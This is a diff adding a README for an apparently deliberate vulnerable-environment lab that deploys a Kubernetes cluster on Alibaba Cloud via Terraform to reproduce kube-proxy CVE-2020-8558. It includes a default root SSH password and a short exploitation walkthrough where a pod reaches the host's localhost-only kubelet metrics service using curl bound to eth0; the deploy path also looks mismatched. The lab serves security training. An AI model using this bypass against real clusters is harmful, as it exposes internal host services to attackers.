|
| 1 | +# kube-proxy CVE-2020-8558 Vulnerable Environment |
| 2 | + |
| 3 | +English | [中文](./README_CN.md) |
| 4 | + |
| 5 | +## Description |
| 6 | + |
| 7 | +This is a scenario used to build the kube-proxy "CVE-2020-8558" vulnerability environment. |
| 8 | + |
| 9 | +After building the environment with Terraform, users in pod can access host's services which is bind on only "127.0.0.1" address. |
| 10 | + |
| 11 | +## Deployment Environment |
| 12 | + |
| 13 | +Execute the following command in the container |
| 14 | + |
| 15 | +```shell |
| 16 | +cd /TerraformGoat/kubernetes/kubelet/log-mount |
| 17 | +``` |
| 18 | + |
| 19 | +Configure Alibaba Cloud Access Credentials |
| 20 | + |
| 21 | +```shell |
| 22 | +export ALICLOUD_ACCESS_KEY="LTAI5tFkmNGXXXXXXXXX" |
| 23 | +export ALICLOUD_SECRET_KEY="ORBs2lulAHDXXXXXXXXX" |
| 24 | +export ALICLOUD_REGION="cn-hongkong" |
| 25 | +``` |
| 26 | + |
| 27 | +> You can create and view your AccessKey on the [AccessKey page](https://ram.console.aliyun.com/manage/ak) of the Alibaba Cloud console |
| 28 | +
|
| 29 | +Deploy Vulnerable Environment |
| 30 | + |
| 31 | +```shell |
| 32 | +terraform init |
| 33 | +terraform apply |
| 34 | +``` |
| 35 | + |
| 36 | +> When the terminal prompts `Enter a value:`, enter `yes` |
| 37 | +
|
| 38 | + |
| 39 | + |
| 40 | +After the environment is set up, You can see the kubelet api access address of the scenario at Outputs. |
| 41 | + |
| 42 | +## Vulnerability Utilization |
| 43 | + |
| 44 | +first, we need to log in node host via ssh, the default password is "Huoxian@123" |
| 45 | + |
| 46 | +```shell |
| 47 | +➜ ~ ssh root@8.210.237.96 // 8.210.237.96 is node ip, you need replace it with what is in above "Outputs" |
| 48 | +``` |
| 49 | + |
| 50 | +then, we can log in pod which have been created |
| 51 | + |
| 52 | +```shell |
| 53 | +root@iZj6ce4bmwc11otulk7i3rZ:~# kubectl exec -ti test-pod -- sh // test-pod is pod name |
| 54 | +sh-4.2# |
| 55 | +``` |
| 56 | + |
| 57 | +now, we can access host's services which is bind on only "127.0.0.1" address. |
| 58 | + |
| 59 | +```shell |
| 60 | +root@iZj6ce4bmwc11otulk7i3rZ:~# netstat -antp|grep 127.0.0.1 |
| 61 | +tcp 0 0 127.0.0.1:37953 0.0.0.0:* LISTEN 2551/containerd |
| 62 | +tcp 0 0 127.0.0.1:41351 0.0.0.0:* LISTEN 15900/kubelet |
| 63 | +tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 15900/kubelet |
| 64 | +... |
| 65 | +``` |
| 66 | + |
| 67 | +for example,we can access host's kubelet metrics service in pod. |
| 68 | + |
| 69 | +```shell |
| 70 | +sh-4.2# curl 127.0.0.1:10249/metrics --interface eth0 |
| 71 | +# HELP apiserver_audit_event_total [ALPHA] Counter of audit events generated and sent to the audit backend. |
| 72 | +# TYPE apiserver_audit_event_total counter |
| 73 | +apiserver_audit_event_total 0 |
| 74 | +... |
| 75 | +``` |
| 76 | + |
| 77 | +## Destroy the environment |
| 78 | + |
| 79 | +```shell |
| 80 | +terraform destroy |
| 81 | +``` |
0 commit comments